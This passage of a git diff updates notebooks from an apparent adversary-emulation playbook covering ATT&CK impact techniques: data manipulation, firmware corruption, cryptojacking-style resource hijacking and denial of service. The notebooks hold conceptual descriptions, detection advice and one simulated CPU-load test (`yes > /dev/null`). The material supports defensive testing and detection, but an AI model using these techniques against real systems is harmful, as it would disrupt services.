"PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/impact/T1493.ipynb b/playbook/tactics/impact/T1493.ipynb deleted file mode 100644 index 02ca60bd..00000000 --- a/playbook/tactics/impact/T1493.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "9c7026ba", - "metadata": {}, - "source": "# T1493 - Transmitted Data Manipulation\nAdversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact." - }, - { - "cell_type": "markdown", - "id": "844b6ca6", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "6950e9ac", - "metadata": {}, - "source": "## Detection\nDetecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/impact/T1494.ipynb b/playbook/tactics/impact/T1494.ipynb deleted file mode 100644 index 06c66f24..00000000 --- a/playbook/tactics/impact/T1494.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "69388ee8", - "metadata": {}, - "source": "# T1494 - Runtime Data Manipulation\nAdversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact." - }, - { - "cell_type": "markdown", - "id": "98ffda98", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "abde0851", - "metadata": {}, - "source": "## Detection\nInspect important application binary file hashes, locations, and modifications for suspicious/unexpected values." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/impact/T1495.ipynb b/playbook/tactics/impact/T1495.ipynb index dddc8f6d..4f467438 100644 --- a/playbook/tactics/impact/T1495.ipynb +++ b/playbook/tactics/impact/T1495.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "9dc7eb81", + "id": "65910588", "metadata": {}, "source": "# T1495 - Firmware Corruption\nAdversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). " }, { "cell_type": "markdown", - "id": "3205cfe8", + "id": "30bbba2f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "092ca0fe", + "id": "84315b0c", "metadata": {}, "source": "## Detection\nSystem firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior." }, { "cell_type": "markdown", - "id": "f57fc842", + "id": "0b97f187", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can collect system activity and detect commands that interact with firmware. This can speed up the recovery of a system.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1496.ipynb b/playbook/tactics/impact/T1496.ipynb index 90fae77e..6d9b2cf9 100644 --- a/playbook/tactics/impact/T1496.ipynb +++ b/playbook/tactics/impact/T1496.ipynb @@ -2,45 +2,45 @@ "cells": [ { "cell_type": "markdown", - "id": "cf362f1b", + "id": "ad5463d5", "metadata": {}, - "source": "# T1496 - Resource Hijacking\nAdversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR)" + "source": "# T1496 - Resource Hijacking\nAdversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)" }, { "cell_type": "markdown", - "id": "eb73f085", + "id": "f9358b79", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ab9a4c81", + "id": "6474cff4", "metadata": {}, "source": [ - "### Atomic Test #1 - macOS/Linux - Simulate CPU Load with Yes", + "### Atomic Test #1 - FreeBSD/macOS/Linux - Simulate CPU Load with Yes", "This test simulates a high CPU load as you might observe during cryptojacking attacks.\nEnd the test by using CTRL/CMD+C to break.\n", - "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\nyes > /dev/null\n```" + "**Supported Platforms:** linux, macos", + "#### Attack Commands: Run with `sh`\n", + "```sh\nyes > /dev/null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a9464b1b", + "id": "a106ae15", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1496 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "e1760551", + "id": "b3e3c3ef", "metadata": {}, "source": "## Detection\nConsider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage." }, { "cell_type": "markdown", - "id": "a7718a1f", + "id": "4b075114", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nBy looking for anomalies in host resource consumption and alerting on suspect activity, the defender can detect the use of system resources at odd times or at odd levels.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -48,13 +48,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1498.001.ipynb b/playbook/tactics/impact/T1498.001.ipynb index 2239fbc3..de9b51e0 100644 --- a/playbook/tactics/impact/T1498.001.ipynb +++ b/playbook/tactics/impact/T1498.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "404f0e3d", + "id": "7840c975", "metadata": {}, "source": "# T1498.001 - Direct Network Flood\nAdversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)" }, { "cell_type": "markdown", - "id": "51ba9d47", + "id": "21d851c1", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f1868779", + "id": "c326c922", "metadata": {}, "source": "## Detection\nDetection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1498.002.ipynb b/playbook/tactics/impact/T1498.002.ipynb index 4a364b33..537eee35 100644 --- a/playbook/tactics/impact/T1498.002.ipynb +++ b/playbook/tactics/impact/T1498.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3af5b170", + "id": "947b3139", "metadata": {}, "source": "# T1498.002 - Reflection Amplification\nAdversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)" }, { "cell_type": "markdown", - "id": "93395c70", + "id": "c1757d6d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "befffa4e", + "id": "84997d63", "metadata": {}, "source": "## Detection\nDetection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1498.ipynb b/playbook/tactics/impact/T1498.ipynb index 048f1376..6f389e40 100644 --- a/playbook/tactics/impact/T1498.ipynb +++ b/playbook/tactics/impact/T1498.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "5af73fa0", + "id": "6b6c1e09", "metadata": {}, "source": "# T1498 - Network Denial of Service\nAdversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499)." }, { "cell_type": "markdown", - "id": "4919dc26", + "id": "883a0b8f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4dc43318", + "id": "11a671c3", "metadata": {}, "source": "## Detection\nDetection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation." }, { "cell_type": "markdown", - "id": "9cdbe9d0", + "id": "01206ccf", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Manipulation \n Make changes to network properties and functions to achieve a desired effect. \n\n Network Manipulation allows a defender to throttle network speeds, segment the network, maintain a unique IP addressing scheme, or add a kill switch to cut off network access if needed.\n#### Opportunity\nThere is an opportunity to alter the network configuration in order to disrupt an adversary who is trying to saturate the network or a system via denial of service.\n#### Use Case\nA defender can configure network devices to analyze network traffic, detect a potential DoS attack, and make appropriate adjustments to mitigate the situation.\n#### Procedures\nAdd a kill switch to a decoy network that can be used to shutdown all network communication if an adversary takes an action that is out of the desired scope.\nIntroduce intermittent network packet loss on a decoy network to interfere with an adversary's activities.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1499.001.ipynb b/playbook/tactics/impact/T1499.001.ipynb index d67a439b..0db2a15a 100644 --- a/playbook/tactics/impact/T1499.001.ipynb +++ b/playbook/tactics/impact/T1499.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ff952fb2", + "id": "1d28a656", "metadata": {}, "source": "# T1499.001 - OS Exhaustion Flood\nAdversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)" }, { "cell_type": "markdown", - "id": "d074435e", + "id": "50115de9", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e953ab8b", + "id": "853932e9", "metadata": {}, "source": "## Detection\nDetection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1499.002.ipynb b/playbook/tactics/impact/T1499.002.ipynb index 16433da0..7ca6b830 100644 --- a/playbook/tactics/impact/T1499.002.ipynb +++ b/playbook/tactics/impact/T1499.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5cc7d18a", + "id": "6ed082a0", "metadata": {}, "source": "# T1499.002 - Service Exhaustion Flood\nAdversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)" }, { "cell_type": "markdown", - "id": "2731ea3f", + "id": "ce914ed8", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c85f84c1", + "id": "fbc6913c", "metadata": {}, "source": "## Detection\nDetection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1499.003.ipynb b/playbook/tactics/impact/T1499.003.ipynb index a9e07919..24172281 100644 --- a/playbook/tactics/impact/T1499.003.ipynb +++ b/playbook/tactics/impact/T1499.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "fc347905", + "id": "fd1aa7e4", "metadata": {}, "source": "# T1499.003 - Application Exhaustion Flood\nAdversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)" }, { "cell_type": "markdown", - "id": "e6eb6003", + "id": "c21340c7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "eda6ea49", + "id": "c77f4e84", "metadata": {}, "source": "## Detection\nDetection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1499.004.ipynb b/playbook/tactics/impact/T1499.004.ipynb index 9553b089..58ed9d2b 100644 --- a/playbook/tactics/impact/T1499.004.ipynb +++ b/playbook/tactics/impact/T1499.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b77d5969", + "id": "bd32e35b", "metadata": {}, "source": "# T1499.004 - Application or System Exploitation\nAdversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. " }, { "cell_type": "markdown", - "id": "72537cbc", + "id": "3b28acb9", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "934703e2", + "id": "5cec3339", "metadata": {}, "source": "## Detection\nAttacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/impact/T1499.ipynb b/playbook/tactics/impact/T1499.ipynb index 7b47694b..45eb07cf 100644 --- a/playbook/tactics/impact/T1499.ipynb +++ b/playbook/tactics/impact/T1499.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "270a40d2", + "id": "1267e0b8", "metadata": {}, "source": "# T1499 - Endpoint Denial of Service\nAdversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, 